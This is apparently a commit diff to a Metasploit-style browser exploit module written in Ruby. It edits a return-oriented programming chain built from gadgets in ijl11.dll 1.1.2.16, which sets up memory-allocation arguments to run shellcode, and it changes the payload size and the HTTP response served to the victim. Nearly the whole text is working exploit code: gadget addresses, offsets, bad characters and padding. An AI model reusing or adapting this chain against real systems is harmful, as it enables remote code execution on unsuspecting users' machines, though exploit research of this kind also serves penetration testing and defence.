@@ -48,7 +48,7 @@ def initialize(info = {})
48
48
} ,
49
49
'Payload' =>
50
50
{
51
- 'Space' => 4096 ,
51
+ 'Space' => 1024 ,
52
52
'DisableNops' => true ,
53
53
'BadChars' => "\x00 \x0a \x0d \x5c " ,
54
54
# Patch the stack to execute the decoder...
@@ -83,22 +83,22 @@ def on_request_exploit(cli, request, target_info)
83
83
EOS
84
84
85
85
print_status ( "Sending #{ self . name } " )
86
- send_response_html ( cli , content )
86
+ send_response_html ( cli , content , { 'Pragma' => 'no-cache' } )
87
87
end
88
88
89
89
# Uses gadgets from ijl11.dll 1.1.2.16
90
90
def rop_payload ( code )
91
91
xpl = rand_text_alphanumeric ( 61 ) # offset
92
92
xpl << [ 0x60014185 ] . pack ( "V" ) # RET
93
93
xpl << rand_text_alphanumeric ( 8 )
94
- # EDX = flAllocationType (0x1000)
94
+
95
+ # EBX = dwSize (0x40)
95
96
xpl << [ 0x60012288 ] . pack ( "V" ) # POP ECX # RETN
96
97
xpl << [ 0xffffffff ] . pack ( "V" ) # ecx value
97
98
xpl << [ 0x6002157e ] . pack ( "V" ) # POP EAX # RETN
98
- xpl << [ 0x9ffdbf89 ] . pack ( "V" ) # eax value
99
+ xpl << [ 0x9ffdafc9 ] . pack ( "V" ) # eax value
99
100
xpl << [ 0x60022b97 ] . pack ( "V" ) # ADC EAX,60025078 # RETN
100
101
xpl << [ 0x60024ea4 ] . pack ( "V" ) # MUL EAX,ECX # RETN 0x10
101
- # EBX = dwSize (0x1000)
102
102
xpl << [ 0x60018084 ] . pack ( "V" ) # POP EBP # RETN
103
103
xpl << rand_text_alphanumeric ( 4 ) # padding
104
104
xpl << rand_text_alphanumeric ( 4 ) # padding
@@ -108,8 +108,19 @@ def rop_payload(code)
108
108
xpl << [ 0x60012288 ] . pack ( "V" ) # POP ECX # RETN
109
109
xpl << [ 0x60023588 ] . pack ( "V" ) # ECX => (&POP EBX # RETN)
110
110
xpl << [ 0x6001f1c8 ] . pack ( "V" ) # push edx # or al,39h # push ecx # or byte ptr [ebp+5], dh # mov eax, 1 # ret
111
+ # EDX = flAllocationType (0x1000)
112
+ xpl << [ 0x60012288 ] . pack ( "V" ) # POP ECX # RETN
113
+ xpl << [ 0xffffffff ] . pack ( "V" ) # ecx value
114
+ xpl << [ 0x6002157e ] . pack ( "V" ) # POP EAX # RETN
115
+ xpl << [ 0x9ffdbf89 ] . pack ( "V" ) # eax value
116
+ xpl << [ 0x60022b97 ] . pack ( "V" ) # ADC EAX,60025078 # RETN
117
+ xpl << [ 0x60024ea4 ] . pack ( "V" ) # MUL EAX,ECX # RETN 0x10
111
118
# ECX = flProtect (0x40)
112
119
xpl << [ 0x6002157e ] . pack ( "V" ) # POP EAX # RETN
120
+ xpl << rand_text_alphanumeric ( 4 ) # padding
121
+ xpl << rand_text_alphanumeric ( 4 ) # padding
122
+ xpl << rand_text_alphanumeric ( 4 ) # padding
123
+ xpl << rand_text_alphanumeric ( 4 ) # padding
113
124
xpl << [ 0x60029f6c ] . pack ( "V" ) # .data ijl11.dll
114
125
xpl << [ 0x60012288 ] . pack ( "V" ) # POP ECX # RETN
115
126
xpl << [ 0xffffffff ] . pack ( "V" ) # ecx value
0 commit comments